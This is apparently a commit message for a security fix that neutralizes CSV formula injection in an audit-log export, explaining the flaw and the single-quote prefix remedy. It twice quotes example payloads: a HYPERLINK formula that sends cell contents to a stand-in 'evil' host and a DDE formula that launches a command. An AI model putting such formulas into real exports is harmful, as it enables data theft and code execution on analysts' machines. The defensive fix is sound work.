fix(audit): neutralize CSV formula injection in ExportCSV#168
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The audit log's CSV export is explicitly meant for spreadsheet import, and its
input/output columns carry attacker-controlled capture data verbatim (SSIDs,
NFC tag URIs/records, evil-portal credentials, filenames — Record stores tool
output raw). csvQuote only applied RFC 4180 quoting (quote when a cell contains
, " \n \r); it did nothing about spreadsheet formula-injection prefixes.
A cell beginning with =, +, -, @, TAB, or CR is evaluated as a formula by
Excel / LibreOffice / Google Sheets on import. An attacker who sets an SSID (or
any captured field) to e.g.
=HYPERLINK("http://evil/"&A1) (exfiltrates adjacent cells)
=cmd|'/c calc'!A1 (command execution via DDE)
lands that string in the output column. It contains no comma/quote/newline, so
RFC 4180 quoting left it bare and live: opening the exported audit CSV runs the
formula on the analyst's machine.
csvQuote now prefixes any cell whose first byte is one of = + - @ \t \r with a
single quote, the standard neutralization that makes every major spreadsheet
treat the cell as literal text, before the existing field quoting. A mid-cell
formula char and ordinary values are untouched. The markdown export already
neutralized its own metacharacters via mdEscape; CSV was the gap.
Found via the internal audit sweep.
Tests: TestCSVQuote_NeutralizesFormulaPrefixes (= + - @ TAB, plus untouched
normal/mid-cell/empty) and TestExportCSV_NeutralizesFormulaInjection
(end-to-end). Both proven to FAIL on the pre-fix code.
Verified: task ci green (lint 0 / vet / build / test:full 0 fail / govulncheck
clean); task eval 17/17.
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The audit CSV export (marketed for spreadsheet import) writes attacker-controlled capture data (SSIDs, NFC URIs, evil-portal creds) verbatim. csvQuote only did RFC 4180 quoting, not formula-prefix neutralization, so a captured SSID like =HYPERLINK("http://evil/"&A1) or =cmd|'/c calc'!A1 (no comma/quote/newline -> emitted bare) executes as a formula when an analyst opens the CSV in Excel/Sheets — code exec / data exfil on their box. csvQuote now prefixes a leading = + - @ TAB CR with a single quote (standard neutralization) before field quoting. The markdown export already did this; CSV was the gap. Table + end-to-end tests, proven to fail pre-fix. task ci green; eval 17/17. Found via the internal audit sweep.